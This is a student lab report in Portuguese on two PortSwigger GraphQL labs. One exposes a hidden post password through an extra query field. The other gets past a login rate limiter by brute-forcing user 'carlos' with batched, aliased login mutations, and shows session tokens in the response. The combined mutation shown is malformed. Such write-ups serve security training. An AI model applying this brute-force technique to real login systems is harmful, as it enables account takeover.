

# Relatório de atividades

## 1. Introdução

Esta atividade trata sobre a vulnerabilidade, para a qual utilizamos a sala PortSwigger .Módulo GraphQL

GraphQL é uma linguagem de consulta de API que é projetada para facilitar a comunicação eficiente entre clientes e servidores. Ela permite que o usuário especifique exatamente quais dados ele quer na resposta, ajudando a evitar os grandes objetos de resposta e múltiplas chamadas que às vezes podem ser vistas com APIs REST.

Os dados descritos por um esquema GraphQL podem ser manipulados usando três tipos de operação:

- Consultas buscam dados.
- Mutações adicionam, alteram ou removem dados.
- Assinaturas são semelhantes a consultas, mas configuram uma conexão permanente pela qual um servidor pode enviar dados proativamente para um cliente no formato especificado.

Todas as operações GraphQL usam o mesmo endpoint e geralmente são enviadas como uma solicitação POST. Isso é significativamente diferente das APIs REST, que usam endpoints específicos da operação em uma variedade de métodos HTTP. Com GraphQL, o tipo e o nome da operação definem como a consulta é manipulada, em vez do endpoint para o qual ela é enviada ou do método HTTP usado.

1

## Desenvolvimento

### Laboratório 1

A página do blog para este laboratório contém uma postagem de blog oculta que tem uma senha secreta. Para resolver o laboratório, encontre a postagem de blog oculta e insira a senha.

Para realizar essa atividade e encontrar a vulnerabilidade, utilizei o Burp Suite.

No Burp, acessei Proxy > HTTP History e encontrei a requisição para /graphql/v1. Em seguida, enviei a requisição para o Repeater (clcando em "Send to Repeater").

No campo query, adicionei o número do post que estava faltando, que era o 3.

Depois, inseri a string(texto) postPassword\n, e a parte oculta foi revelada, exibindo a senha.

56	https://0e5a00ef04640b7a0099b7180... GET	/resources/tabheader/images/ps-tab-netioiv...	200	942	XML	svg
57	https://0e5a00ef04640b7a0099b7180... GET	/resources/tabheader/images/logoAcademy.s...	200	8852	XML	svg
58	https://0e5a00ef04640b7a0099b7180... POST	/graphql/v1	200	3282	JSON	
59	https://0e5a00ef04640b7a0099b7180... GET	/resources/js/ggU0Ujs	200	1028	script	js

```
19
20 {
  "query":
    "\n  query getBlogPost($id: Int!) {\n    getBlogPost(id: $id\n  ) {\n    image\n    title\n    author\n    date\n    postPassword\n    paragraphs\n  }\n  }", "operationName": "getBlogPost", "variables": {"id": 3}
}
```

2

The screenshot shows the Burp Suite interface. On the left, the 'response' tab is active, displaying the raw JSON response of the GraphQL query. The response contains a 'data' object with a 'getBlogPost' field. This field contains an object with 'image', 'title', 'author', 'date', 'postPassword', and 'paragraphs'. The 'postPassword' value is highlighted in blue in the raw response and in the Repeater tab. The Repeater tab on the right shows the selected text '1fq581v189yv2wpyskicufu0Dchnojb'. Below the response, the WebSecurity Academy logo is visible, along with the text 'Accessing private GraphQL posts' and 'Back to lab description >'. At the bottom, a green banner says 'Congratulations, you solved the lab!' with social media links and a 'Continue learning >' button.

## Laboratório 2

O mecanismo de login do usuário para este laboratório é alimentado por uma API GraphQL. O endpoint da API tem um limitador de taxa que retorna um erro se receber muitas solicitações da mesma origem em um curto espaço de tempo. Para resolver o laboratório, faça força bruta no mecanismo de login para entrar como carlos. Para realizar esse laboratório, utilizei o Burp Suite. Primeiro, acessei a aba Proxy > HTTP History. Em seguida, localizei /graphql/v1 e enviei a requisição para o Repeater. Com base na dica fornecida pelo laboratório, peguei o script, coloquei no VS Code para análise, depois inseri na área de requisição e cliquei em Send. Assim, consegui identificar a senha verdadeira e realizei o login com sucesso.

https://play.google.com	POST	/log/manifest=true&datacenter=us&format=json	✓	200
https://0ad90095033f97a0822329410...	POST	/graphql/v1	✓	200
https://www.youtube.com	POST	/youtubei/v1/log_event?alt=json	✓	200
https://www.youtube.com	POST	/youtubei/v1/log_event?alt=json	✓	200
https://0ad90095033f97a0822329410...	POST	/graphql/v1	✓	200
https://0ad90095033f97a0822329410...	GET	/my-account		200
https://0ad90095033f97a0822329410...	GET	/resources/labheader/images/ps-lab-solved.s...		200

3

```
def generate_graphql_bruteforce(password.py > ...

bruteforce0:login(input:{password: "123456", username: "carlos"}) {
  token
  success
}

bruteforce1:login(input:{password: "password", username: "carlos"}) {
  token
  success
}

bruteforce2:login(input:{password: "12345678", username: "carlos"}) {
  token
  success
}

bruteforce3:login(input:{password: "qwerty", username: "carlos"}) {
  token
  success
}
```

4

```

mutation login(
  bruteforce0:login(input:{password: "123456", username: "carlos"})
  bruteforce1:login(input:{password: "password", username: "carlos"})
  bruteforce2:login(input:{password: "12345678", username: "carlos"})
  bruteforce3:login(input:{password: "qwerty", username: "carlos"})
) {
  bruteforce0 {
    token
    success
  }
  bruteforce1 {
    token
    success
  }
  bruteforce2 {
    token
    success
  }
  bruteforce3 {
    token
    success
  }
}
```

```

1 HTTP/2 200 OK
2 Content-Type: application/json; charset=utf-8
3 Set-Cookie: session=2U10t040uuj7Ts0BbPcswv24P03kE17n; Secure; SameSite=None
4 X-Frame-Options: SAMEORIGIN
5 Content-Length: 10107
6
7 {
8   "data": {
9     "bruteforce0": {
10      "token": "1LEo3wudQ3vRf2z240NjGht18T800E",
11      "success": false
12    },
13     "bruteforce1": {
14      "token": "2U10t040uuj7Ts0BbPcswv24P03kE17n",
15      "success": true
16    },
17     "bruteforce2": {
18      "token": "2U10t040uuj7Ts0BbPcswv24P03kE17n",
19      "success": false
20    },
21     "bruteforce3": {
22      "token": "2U10t040uuj7Ts0BbPcswv24P03kE17n",
23      "success": false
24    },
25     "bruteforce4": {

```

## Mitigação

A vulnerabilidade de controle de acesso de registros em GraphQL ocorre quando há falhas na implementação adequada de autenticação e autorização, permitindo que usuários não autorizados acessem dados confidenciais. Essa vulnerabilidade pode ocorrer quando não há um sistema de autenticação robusto em vigor, não se verifica corretamente a identidade e as permissões dos usuários antes de fornecer acesso aos registros solicitados.

A segurança em GraphQL desempenha um papel fundamental na proteção dos dados sensíveis dos usuários. Portanto, é crucial adotar medidas de segurança adequadas para evitar exposição indevida de informações e ataques maliciosos. Ao compreender as vulnerabilidades existentes, podemos estar mais preparados para enfrentar os desafios que possam surgir ao utilizar dessa tecnologia.

Algumas melhorias são :

- Controle de acesso rigoroso
- Autenticação forte

5

- Desative introspection em produção
- Monitoramento contínuo

## Conclusão

Por isso, é fundamental que desenvolvedores adotem práticas de segurança desde o início do projeto. Implementar boas praticas, controlar tentativas de login e desabilitar introspecção em produção são passos simples, mas eficazes, que reduzem drasticamente os riscos.

## Considerações finais

Para estes laboratórios, tive alguns desafios. Eu não conhecia essa vulnerabilidade, então tive dificuldade em realizar o laboratório 2. Peguei uma dica do próprio laboratório, que indicava um script e mencionava que ele poderia ser executado no console do navegador. No entanto, percebi que não funcionava por lá. Então, tentei executá-lo no VS Code, e funcionou tirei os bugs e corriji a sintaxe, que estava impedindo o script de rodar corretamente.

Com isso, foi bom porque tive um entendimento melhor de como a vulnerabilidade funciona, como ela pode ser crítica, e percebi o quanto é importante explorá-la de forma ética e aprender a mitigá-la.